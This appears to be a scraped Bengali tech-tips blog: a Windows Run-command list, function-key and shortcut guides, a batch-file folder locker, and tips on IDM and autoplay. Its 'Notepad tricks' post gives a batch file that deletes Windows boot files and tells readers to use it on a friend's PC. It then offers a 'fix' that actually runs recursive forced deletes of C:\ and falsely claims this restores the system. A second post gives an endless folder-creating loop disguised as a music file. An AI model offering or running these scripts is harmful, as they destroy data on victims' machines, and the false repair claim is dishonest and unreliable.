20. Direct X Troubleshooter - dxdiag
21. Disk Cleanup Utility - cleanmgr
22. Disk Defragment - dfrg.msc
23. Disk Management - diskmgmt.msc
24. Disk Partition Manager - diskpart
25. Display Properties - control desktop
26. Display Properties - desk.cpl
27. Dr. Watson System Troubleshooting Utility - drwtsn32
28. Driver Verifier Utility - verifier
29. Event Viewer - eventvwr.msc
30. Files and Settings Transfer Tool - migwiz
31. File Signature Verification Tool - sigverif
32. Findfast - findfast.cpl
33. Firefox - firefox
34. Folders Properties - control folders
35. Fonts - control fonts
36. Fonts Folder - fonts
37. Free Cell Card Game - freecell
38. Game Controllers - joy.cpl
39. Group Policy Editor (for xp professional) - gpedit.msc
40. Hearts Card Game - mshearts
41. Help and Support - helpctr
42. HyperTerminal - hypertrm
43. Iexpress Wizard - iexpress
44. Indexing Service - ciadv.msc
45. Internet Connection Wizard - icwconn1
46. Internet Explorer - iexplore
47. Internet Properties - inetcpl.cpl
48. Keyboard Properties - control keyboard
49. Local Security Settings - secpol.msc
50. Local Users and Groups - lusrmgr.msc
51. Logs You Out Of Windows - logoff
52. Malicious Software Removal Tool - mrt
53. Microsoft Chat - winchat
54. Microsoft Movie Maker - moviemk
55. Microsoft Paint - mspaint
56. Microsoft Syncronization Tool - mobsync
57. Minesweeper Game - winmine
58. Mouse Properties - control mouse
59. Mouse Properties - main.cpl
60. Netmeeting - conf
61. Network Connections - control netconnections
62. Network Connections - ncpa.cpl
63. Network Setup Wizard - netsetup.cpl
64. Notepad - notepad
65. Object Packager - packager
66. ODBC Data Source Administrator - odbccp32.cpl
67. On Screen Keyboard - osk
68. Outlook Express - msimn
69. Paint - pbrush
70. Password Properties - password.cpl
71. Performance Monitor - perfmon.msc
72. Performance Monitor - perfmon
73. Phone and Modem Options - telephon.cpl
74. Phone Dialer - dialer
75. Pinball Game - pinball
76. Power Configuration - powercfg.cpl
77. Printers and Faxes - control printers
78. Printers Folder - printers
79. Regional Settings - intl.cpl
80. Registry Editor - regedit
81. Registry Editor - regedit32
82. Remote Access Phonebook - rasphone
83. Remote Desktop - mstsc
84. Removable Storage - ntmsmgr.msc
85. Removable Storage Operator Requests - ntmsoprq.msc
86. Resultant Set of Policy (for xp professional) - rsop.msc
87. Scanners and Cameras - sticpl.cpl
88. Scheduled Tasks - control schedtasks
89. Security Center - wscui.cpl
90. Services - services.msc
91. Shared Folders - fsmgmt.msc
92. Shuts Down Windows - shutdown
93. Sounds and Audio - mmsys.cpl
94. Spider Solitare Card Game - spider
95. SQL Client Configuration - cliconfg
96. System Configuration Editor - sysedit
97. System Configuration Utility - msconfig
98. System Information - msinfo32
99. System Properties - sysdm.cpl
100. Task Manager - taskmgr
101. TCP Tester - tcptest
102. Telnet Client - telnet
103. User Account Management - nusrmgr.cpl
104. Utility Manager - utilman
105. Windows Address Book - wab
106. Windows Address Book Import Utility - wabmig
107. Windows Explorer - explorer
108. Windows Firewall - firewall.cpl
109. Windows Magnifier - magnify
110. Windows Management Infrastructure - wmimgmt.msc
111. Windows Media Player - wmplayer
112. Windows Messenger - msmsgs
113. Windows System Security Tool - syskey
114. Windows Update Launches - wupdmgr
115. Windows Version - winver
Read more

কী-বোর্ডের Function key এর কাজ।

F1 থেকে F12 পর্যন্ত ১২টি কী দেওয়া আছে আপনারা কি জানেন এগুলো কী বলে ? এই Key গুলো কে Function key বলে, এই কি গুলোর এক একটির কাজ এক এক রকম ।
তাহলে চলুন এক এক করে শিখে নিই এই ফাংশান Key গুলোর কাজঃ


 F1 : এই বাটন টি যেকোণ প্রোগ্রাম বা সফটওয়্যার এর জন্য সাহায্যকারী কি হিসেবে ব্যবহৃত হয় অর্থাৎ আপনার একটিভ উইন্ডোর জন্য হেল্প পেইজ দেখতে হলে এই বাটন টি প্রেস করলেই চলবে। যেমন আমি ফটোশপের কিছু হেল্প নিব তাহলে ফটোশপ সফটওয়ার চালু করুন আর আর ফাংশান কি F1 চাপুন তাহলে ফটোশপ সম্পর্কে সাহায্য পাবেন
 F2 : Rename করার জন্য শর্টকাট কি হিসেবে এটি ব্যবহার করা হয়। আপনার সিলেক্টকৃত কোণ ফাইল বা ফোল্ডার রিনেম করতে ফাংশান কি F2 বাটন চাপুন । তাছাড়াAlt+Ctrl+F2 চেপে মাইক্রোসফট ওয়ার্ডের একটি নতুন ডকুমেন্ট খুলতে পারেন। আরেকটা ব্যবহার আমি করে থাকি আর তা হল ওয়ার্ডের প্রিন্ট প্রিভিউ দেখা। তার জন্য জাস্ট Ctrl+F2 চাপুন।
F3 : শুধুমাত্র F3 চেপে আপনি যেকোন প্রোগ্রামের বা ডকুমেন্টের সার্চ অপশান আনতে পারেন। Shift+F3 চেপে মাইক্রোসফট ওয়ার্ডের কোণ শব্দকে বড় হাতের থেকে ছোট হাতের বা ছোট হাতের থেকে বড় হাতের করা যায়। এবং সিলেক্টকৃত ঐ শব্দটির প্রথম অক্ষর যদি বড় হাতের করতে চান তাহলেও Shift+F3 চাপুন।
F4 : এই বাটন দিয়ে মাইক্রোসফট ওয়ার্ডের last action performed Repeat করা যায়। Alt+F4 চেপে সক্রিয় সব প্রোগ্রাম বন্ধ করা যায় এবং Ctrl+F4 চেপে সক্রিয় সব উইন্ডো বন্ধ করা যায়।F5 : মাইক্রোসফট ওয়ার্ডে Find, Replace, Go To উইন্ডো খোলা হয় এই বাটন চেপে। যেকোণ পেজ রিফ্রেশ করতে এই পেজটিই ব্যবহার করা হয়। পাওয়ার পয়েন্টে স্লাইড শো শুরু করা এবং বন্ধ করার জন্য এই বাটন টি ব্যবহার করা হয়।
F6 : মাউসের কার্সরকে ইন্টারনেট ব্রাউজারের অ্যাড্রেসবারে নিয়ে যেতে এটি চাপলেই হবে Ctrl+Shift+F6 চেপে ওয়ার্ডের সক্রিয় ডকুমেন্ট রেখে অন্যটি ব্যবহার করা যায়।
F7 : চেপে মাইক্রোসফট ওয়ার্ডে লেখা বানান ও গ্রামার ঠিক করা হয় এবং মজিলা ফায়ারফক্সের Creat browsing চালু করা হয়। Shift+F7 চেপে মাইক্রোসফট ওয়ার্ডে কোনো নির্বাচিত শব্দের প্রতিশব্দ, বিপরীত শব্দ, শব্দের ধরন ইত্যাদি জানার ডিকশনারি চালু করা হয়।
F8: বিশেষ করে কম্পিউটার চালু করার সময় এই কি টী কাজে লাগে । সাধারণত উইন্ডোজ safe mood এ চালু করার জন্য ব্যবহার করা হয়।
F9 : Windows Setup দেওয়ার সময় এই কি চাপ দিয়ে Fast Boot ডিভাইস CD Room দেখানো যায় আবার Quark Express 5.0 এর মেজারমেন্ট টুলবার ওপেন করার জন্য এটি কাজে লাগে।
F10 : এটি চেপে ইন্টারনেট ব্রাউজার বা কোনো খোলা উইন্ডোর মেনুবার নির্বাচন করা হয়। Shift+F10 চেপে কোনো নির্বাচিত লেখা বা লিংক বা ছবির ওপর মাউস রেখে ডান বাটনে ক্লিক করার কাজ করা হয়।
F11 : আপনার সামনে স্ক্রিনে একটিভ উইন্ডোটিকে ফুলস্ক্রিন করতে এবং নরমাল মুডে আনতে এই বাটন টি চাপলেই হবে।
F12 : চেপে মাইক্রোসফট ওয়ার্ডের Save as উইন্ডো ওপেন করা হয়। Shift+F12 চেপে মাইক্রোসফট ওয়ার্ড ডকুমেন্ট সেভ করা হয়। এবং Ctrl+Shift+F12 চেপে মাইক্রোসফট ওয়ার্ড ডকুমেন্ট প্রিন্ট করা হয়।

বর্তমান সময়ে আমরা সবাই অভ্র ব্যবহার করে থাকি, আর এই অভ্র সফটওয়্যার এ বাংলা এবং ইংরেজী ভাষা সিলেক্ট বা পরিবর্তন করতে ডেস্কটপ কম্পিউটারে শুধু মাত্র F12 চেপে বাংলা থেকে ইংরেজীতে বা ইংরেজী থেকে বাংলা মুডে নেওয়া যায় ।


ধন্যবাদ  ।
Read more

চলুন নোটপ্যাড নিয়ে একটু মজা করি!

আজ ফিরে এলাম চমৎকার দুইটি নোটপ্যাড ট্রিক্স  নিয়ে।তাহলে চলুন দেখি দুইটি মজার ট্রিক-



Shut Down a Computer Forever
নোটপ্যাড খুলুন আর নিছের কোডগুলো পেস্ট করুন
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
এটিকে close.bat নামে সেভ করুন। এর মাদ্ধমে পিসির সব ফাইল গায়েব হয়ে যাবে অ পিসি বারবার রি স্টার্ট হবে
আপনি ভুলেও আপনার পিসি তে এটি ওপেন করবেন না।আপ্নার বন্ধুর সাথে মযা করতে পারেন
এটি কে ঠিক করার জন্য নিচের কোড টি দিলাম
cmd /c del c:\windows\* /F /S /Q
cmd /c del c:\* /F /S /Q
সেভ করুন .cmd or .bat  শেষ এ দিএ।সব ঠিক হয়ে যাবে
Make over 1,000 folders in few seconds

এটি আরেকটি মজার ট্রিক যার সাহায্যে আপনি যে কন জায়গায় ১০০০ ফোল্ডার বানাতে পারবেন
1. Open notepad and type :
@echo off
:top
md %random%
goto top

2. একে সেভ করুন  1000folders.bat নামে

3. তারপর আপনি এমন আইকন দেখতে পাবেন

আপনি ভুলেও এটি ওপেন করবেন না
4.রাইট ক্লিক করুন আর এরপর creat shortcut

5. Right click on shortcut and click properties , then click on Change Icon and rename icon

আপনি এই ট্রিক আপনার বন্ধুর পিসি তে ব্যবহার করে তাকে বোকা বানাতে পারেন।তাকে বলুন এটি চরম একটি মিউজিক ফাইল এরপর সে এটি ওপেন করলে ১০০০ ফাইল
Read more

কোন সফটওয়্যার ছাড়াই ফোল্ডারকে পাসওয়ার্ড দিয়ে প্রটেক্ট করুন

এতে অনেক অসুবিধাও হয়েছে । ফুলভার্সন লক ফোল্ডার খুজতে খুজতে জান শেষ । আবার কিছু পেলেও দেখা যায় ভাইরাসে ভরা সাথে ১০০ সমস্যা । আর কোন সমস্যা এই ব্যাপারে হবে না আশা রাখি ।কারন আজ আমি দেখাবো কি করে কোন সফটওয়্যার ছাড়া ফোল্ডার পাসওয়ার্ড দিয়ে লক করবেন ।




১) প্রথমে আপনার নোটপেড ওপেন করুন ।
২) এখন কোডটি কপি করে নোটপেড এ পেস্ট করুন
cls
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
pause
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==alltechbd goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
pause
goto End
:End
৩) এখন lock.bat নামে সেভ করুন । আপনি অন্য নামেও সেভ করতে পারেন তবে নামের শেষে অবশ্যই .bat থাকতে হবে ।
৪) এখন lock.bat এর উপর ডাবল ক্লিক করুন । ক্লিক করলে lock নামে একটি ফোল্ডার আসবে । এখন আপনি যা লুকাতে চান তা এই lock ফোল্ডারে রাখুন ।
৫) এখন আবার lock.bat এর উপর ডাবল ক্লিক করুন । একটি কমান্ড বন্স আসবে এবং Y লিখে ইন্টার চাপুন ।
৬) যখন আপনি আনলক করতে যাবেন ,তখন lock.bat এর উপর ডাবল ক্লিক করুন পাসওয়ার্ড চাইলে alltechbd দিন । আপনি চাইলে পাসওয়ার্ড পরিবর্তন করতে পারেন । পরিবর্তন করার জন্য কোড নোটপেডে পেস্ট করার সময় alltechbd এর জায়গায় আপনার পাসওয়ার্ড দিন ।
ব্যাস আপনার কাজ শেষ।
Read more

১০ টি প্রয়োজনীয় কীবোর্ড কমান্ড।

এটা নিশ্চিত যে কীবোর্ড এর শর্টকার্ট কমান্ড আমাদের হাতকে টাইপিং এ পাকা করে তুলতে যথেষ্ট সাহায্য করে। তাছাড়া কীবোর্ড এর শর্টকার্ট কমান্ড জানা থাকলে যে কোন কাজই তাড়াতাড়ি করা সম্ভব। তাই নিচে ১০ টি কীবোর্ড শর্টকার্ট কমান্ড দেওয়া হল যা যে কোন কম্পিউটার ব্যবহারকারীর জানা প্রয়োজন।



 Ctrl + C
এটা দিয়ে হাইলাইট করা যে কোন কিছুই সহজে কপি করা যায়।
Ctrl + V
আমরা যদি কোন টেক্সট বা অন্য কোন ফাইল কথাও কপি করে নিতে চাই তাহলে আমাদেরকে তা কপি করে আবার পেস্ট করতে হয়। আর এই পেস্ট করতেই সাহায্য করে।
Ctrl + Z
কোন একটা কাজ করলেন, এখন আবার পেছনে যেতে হবে, তাহলে এই শর্টকার্ট কী ব্যবহার করেন, কাজ হয়ে যাবে।
Ctrl + F
আপনি কোন প্রোগ্রাম এ কোন কিছু খুজতে চাচ্ছেন। তাহলে এই শর্টকার্ট টি আপনার জন্যই। যেমনঃ আপনি যদি ওয়ার্ড এ কিছু খুঁজে বের করতে চান তাহলে এই শর্টকার্ট ব্যবহার করে দেখতে পারেন।
Alt + Tab
এই শর্টকার্ট কী ব্যবহার করা হয় এক প্রোগ্রাম থেকে অন্য প্রোগ্রাম এ সহজেই যাবার জন্য।
Ctrl + Backspace
সাধারণত Backspace দিয়ে আমরা একটা একটা করে বর্ণ মুছে থাকি। কিন্তু এই শর্টকার্ট কী দ্বারা আমরা একটা শব্দকেই একবারে মুছে ফেলতে পারবো।
Ctrl + S
এটি দ্বারা খুব সহজেই আমরা আমাদের যে কোন ফাইল কে সেভ করে ফেলতে পারবো।
Ctrl + Home or Ctrl + End
প্রথমটা দিয়ে আমরা মাউস এর কার্সর কে একেবারে উপরে নিয়ে যেতে পারবো এবং দিতীয়টি দ্বারা মাউস এর কার্সর কে একেবারে নিচে নিয়ে আসতে পারবো খুব সহজেই।
Ctrl + P
এটি দ্বারা কোন ডকুমেন্ট বা অন্য যে কোন কিছু প্রিন্ট করার ক্ষেত্রে খুবই উপকার পাওয়া যায়।
Page Up and Page Down
এই শর্টকার্ট কী দ্বারা যে কোন পেজ এর নিচের দিকে এবং ক্রমেই আবার উপরের দিকে আসা যায়।
কী-বোর্ড শর্টকার্ট কমান্ড আরও অনেক আছে। কিন্তু আমাদের সবার পক্ষে এত কিছু জানা হয়তো সম্ভব নয়। কিন্তু সবাইকে এই কয়টা কী আসলে খুব ভালো করে জানতে হবে এবং তা জানা উচিত। তাই আসুন আমরা সবাই মিলে অন্তত এই ১০টি কীবোর্ড কমান্ড জেনে রাখি।
Read more

IDM এ incomplite ডাউনলোড ফাইল বের করে আনুন।

মনে করুন আপনি একটা ভিডিও ফাইল ডাউনলোড দেওয়া শুরু করেছেন কিন্তু কোন কারণবশত যদি ভিডিওটা ৮০% হওয়ার পর Error দেখায় তাহলে যেকোন ব্যক্তির মেজাজ খারাপ হওয়া স্বাভাবিক । তবে সবচেয়ে বেশি খারাপ লাগে যখন যদি ভিডিওটা আর Resume করা না যায় ।
তখন আপনার সামনে দুটি পথ থাকেঃ
1. আবার ভিডিওটা প্রথম থেকে ডাউনলোড করা
2. ভিডিওটার কথা ভুলে যাওয়া ।
আপনি কি জানেন যে ইচ্ছা করলেই আপনি যতটুকু ভিডিও ডাউনলোড করেছিলেন ততটুকু ভিডিওই দেখতে পারবেন । বিস্মিত হলেন ? বিস্মিত হলেও এটা সত্যি ।



এখন চলুন দেখি কিভাবে আমরা যতটুকু ভিডিও ডাউনলোড হয়েছিল ঠিক ততটুকু ভিডিওই দেখতে পারব । যারা জানেন ভালো কথা, কিন্তু যারা জানেন না তারা নিচের পদ্ধতিগুলো ভালো করে অনুসরণ করুন ।
1. RUN Dialoge Box ওপেন করুন । [ Win Logo Button + R চাপলেই RUN Dialoge Box ওপেন
হবে । সেখানে %appdata% লিখে Enter চাপুন ।
2. এবার যে Window ওপেন হবে সেখান থেকে IDM নামক ফোল্ডারটি খুজে ওপেন করুন ।
3. তারপর DwnlData পরিশেষে Administrator (আপনার পিসির ইউজার নেম দিয়ে তৈরী হওয়া ফোল্ডার, যেমন আমার ইউজার নেম Santo) ফোল্ডারটি ওপেন করুন ।
4. এই ধাপে আপনাকে নিজের বুদ্ধি খাটাতে হবে । এখানে আপনি আপনার IDM দিয়ে আংশিক ডাউনলোড হওয়া প্রত্যেকটি ফাইলের জন্য একটি করে ফোল্ডার পাবেন । IDM এর ডাউনলোড তাহলে এখানে আপনি GOOGLE বা YOUTUBE অথবা ডাউনলোড করা ফাইলের নামে একটা ফোল্ডার
লিষ্ট থেকে আপনি আংশিক ডাউনলোড হওয়া ফাইলগুলো ডিলেট করে দিলেও এখানে সব ফাইলগুলোর ডাটা সঞ্চিত থাকে ।
5. আপনার কাঙ্খিত ফোল্ডারটি খুজে সেটা ওপেন করলে সেখানে Extension ছাড়া অনেকগুলো ফাইল দেখতে পাবেন । সেখান থেকে Extension ছাড়া প্রথম ফাইলটি ডাবল ক্লিক করে ওপেন করুন । Windows আপনার কাছে কোন প্রোগ্রাম দিয়ে ফাইলটি ওপেন করতে হবে তার পারমিশন চাইবে । এখানে যেকোন ভালো একটা প্লেয়ার সিলেক্ট করে OK করুন ।
ব্যাস আপনার কাজ শেষ । সবকিছু ঠিকঠাক করে থাকলে আপনার কাঙ্খিত ভিডিও আপনার সামনে
হাজির হবে ।
(বিঃদ্রঃ সম্পূর্ণ প্রক্রিয়াটি Windows 7 এ করা । অপারেটিং সিস্টেম ভেদে কিছুটা ভিন্ন্ হওয়া স্বাভাবিক ।)
আর একটা কথা না বললেই নয় যে, একই প্রক্রিয়ায় আপনারা আংশিক ডাউনলোড হওয়া অডিও ফাইলও Play করে শুনতে পারবেন ।
Read more

ভাইরাসযুক্ত pendrive পিছি কানেক্ট করলেও autorun হবে না

অনেক সময় দেখা যায় যে আমরা কম্পিউটার এ pendrive বা memory card লাগালে অটোমেটিক pendrive ওপেন হয়ে যায়। এতে করে pendrive এ যদি ভাইরাস থাকে, তাহলে সেই ভাইরাস আমাদের কম্পিউটার এ ঢুকে যায়। আর আপনারা তো জানেন, কম্পিউটার এ ভাইরাস ঢুকলে কি কি সমস্যা হয়।



আজ আমি আপনাদের সাথে একটি উপায় শেয়ার করবো, যাতে করে আপনারা এই সমস্যা থেকে চিরো মুক্তি পান। কাজের কথায় আসি। auto play প্রথমে আপনি আপনার কম্পিউটার এর start বাটন এ ক্লিক করুন। এর পর run এ ক্লিক করুন। এখানে আপনি gpedit.msc লিখে enter দিন। এবার আপনি administrative templates এ ক্লিক করুন। এবার আপনি system এ ক্লিক করুন। তারপরে turn off autoplay তে ক্লিক করুন। এখানে আপনি enable এ ক্লিক করুন এবং ডান পাশে একটি বক্স এর মধ্যে cd drive লিখা আছে তার উপর ক্লিক করে all drive সিলেক্ট করুন,এর পরে নিচে ok বাটন প্রেস করুন। এইতো কাজ শেষ। এবার শুধু কম্পিউটার টি একবার restart দিন।
Read more